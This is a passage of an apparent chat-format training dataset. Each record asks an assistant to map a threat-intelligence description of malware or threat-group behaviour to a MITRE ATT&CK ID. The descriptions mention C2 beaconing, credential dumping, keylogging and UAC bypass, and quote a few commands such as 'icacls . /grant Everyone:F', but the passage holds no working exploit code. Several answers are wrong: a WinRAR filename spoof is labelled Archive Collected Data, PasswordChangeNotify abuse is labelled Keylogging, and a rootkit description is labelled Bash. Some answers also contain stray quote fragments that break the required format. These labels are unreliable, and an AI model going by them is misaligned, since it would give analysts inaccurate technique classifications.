                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An example of this decompressed configuration may be seen below:  Figure 2 Decompressed Reaver configuration This configuration contains multiple pieces of information, including the following:  Network port Sleep timer between network requests Remote Command and Control (C2) Service Name Service Description Service Display Name Hardcoded String"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has created Windows tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates valid users to provide access to the system."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts C2 traffic using an RC4 key."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used Empire to find the public IP address of a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once successfully installed in a system, Trickbot will gather system information such as OS, CPU, and memory information, user accounts, lists of installed programs and services."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In many cases, additional stealers, RATs, and other malware were observed being hosted on the same web servers.Analysis of HawkEye Reborn The campaign starts with sending the aforementioned Excel sheets that exploit the well-known CVE-2017-11882 vulnerability, an arbitrary code execution bug in Microsoft Office"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain a list of active connections and open ports."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell script executes a compressed first stage PowerShell child process, which then performs a second stage PowerShell process"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mandiant assesses with moderate confidence that the threat actor obtained the session token from the operators of the info-stealer malware. These tokens were used by the actor via public VPN providers to authenticate to the target’s Microsoft 365 environment."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has gained access to credentials via exported copies of the ntds.dit Active Directory database."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has moved laterally via RDP."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter &lt;&gt;: [command]&lt;&gt;[parameters for command in hexadecimal format] The available commands are"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FakeM contains a keylogger module."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT can modify service configurations."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process. In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. The infection process not only downloads and executes a payload, but it also downloads and opens a decoy document to lower the recipient's suspicions of the entire process"
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2: WindowsParentalControlsMigration CommandLineTemplate Figure 3 contains the decoded PowerShell command from the “CommandLineTemplate.”      Figure 3: Decoded CommandLineTemplate PowerShell code POSHSPY PowerShell Component The full code for a POSHSPY sample is available here"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap uses fairly advanced methods to ensure that it and its components remain undetected. For instance, its use of LKM rootkits — given their capability to overwrite or modify parts of the kernel — makes it harder to clean compared to other malware. In addition, Skidmap has multiple ways to access affected machines, which allow it to reinfect systems that have been restored or cleaned up"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has abused the PasswordChangeNotify to monitor for and capture account password changes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has incorporated dynamic DNS domains in its infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code then uses the identified functions to add persistency through registry and add next stages file names identifier through the following locations"
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has run \"netstat -anp\" to search for rival malware connections. TeamTNT has also used `libprocesshider` to modify \"/etc/ld.so.preload\"."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has used keylogging tools in their operations."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has used a reconnaissance module to gather information about the operating system and hardware on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can persist via startup options for Login items."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can capture screenshots of the victim’s machines."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 have replaced Microsoft Outlook's VbaProject.OTM file to install a backdoor macro for persistence."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ has used API functions such as `Process32First`, `Process32Next`, and `ShellExecuteA`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Patchwork .dll that contains BADNEWS is loaded and executed using DLL side-loading."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can use HTTP and HTTPS over ports 80 and 443 in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut includes subprojects that enumerate and identify information about Process Injection candidates."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY has used python scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "macOS.OSAMiner has used `launchctl` to restart the Launch Agent."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware KiloAlfa contains keylogging functionality."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We will discuss the Spark backdoor’s functionality in detail later in this blog, but this specific sample has the following configuration"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Screen capture and audio recording  SpyNote RAT was able to take screen captures and, using the device’s microphone, listen to audio conversations"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Company has checked the current date on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peppy has the ability to automatically exfiltrate files and keylogs."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack’s RAT makes a persistent target file with auto execution on the host start."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can deobfuscate downloaded files stored in reverse byte order and decrypt embedded resources using multiple XOR operations."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Turla JavaScript backdoor has used Google Apps Script as its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type uses Base64 encoding for C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DropBook’s capabilities include checking installed programs and file names for reconnaissance, executing shell commands received from Facebook or Simplenote, and fetching additional payloads from Dropbox and running them"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1105 - Ingress Tool Transfer', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors used XOR-encrypted payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a new Windows service with the malicious executable for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. APT41 has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity has encrypted C2 traffic using SSL/TLS."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations. Stage 4 — Downloaders . PowerShell leading to shellcode . The PowerShell chain is launched from an obfuscated JScript scriptlet previously downloaded from the command and control (C2) server and launched using cmstp.exe. JScript downloader . As opposed to PowerShell loading a Cobalt Strike beacon, the other observed infection chain continues using JScript to deliver the final payload, which is a JScript backdoor. The commands are relatively limited, but are sufficient enough to instruct the backdoor to download and execute a new payload, remove itself from the system or download and launch additional scriptlets. Interestingly, if an attack used version 4.4, the attackers decided to add a variable \"researchers\" initialized to the string \"We are not cobalt gang, stop associating us with such skids. Cobalt Strike beacon . On the PowerShell side of the infection chain, the downloaded final payload is a Cobalt Strike beacon, which provides the attacker with rich backdoor functionality. Cobalt Strike is used by penetration testers and offensive security researchers when delivering their services, but it is generally, just as Meterpreter, detected by anti-malware software as it can be easily used by malicious actors"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader injects into the Internet Explorer process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete itself or specified files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark binaries have been named `audioddg.pdb` and `Winlangdb.pdb` in order to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used open-source JNDI exploit kits to exploit Log4j (CVE-2021-44228) and has exploited ProxyShell (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) on MS Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After dropping these files to its working directory, the malware attempts to change the attributes of all the files to “hidden” and grant full access to all files in the current directory and any directories below. It does this by executing “attrib +h .”, followed by “icacls . /grant Everyone:F /T /C /Q"
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This crafted zip archive exploited a WinRAR flaw that makes files in zip archives appear to have a different name and file extension"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to compress its components."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor starts by collecting basic information about the victim’s machine and calculating a 4-byte long victim identifier, based on the user-name, computer-name and the domain name of the target environment"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\"."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to upload a file to the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla surveys a system upon check-in to discover running services and associated processes using the \"tasklist /svc\" command."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete hijacks the clipboard data by creating an overlapped window that listens to keyboard events."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Payloads are now hosted on compromised websites. The payloads hosted on these websites consist of seemingly benign BMP image files. The malicious macros download the images and the ObliqueRAT payload is extracted to disk. The ObliqueRAT payload is renamed with the .pif file extension"
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure."
            },
            {
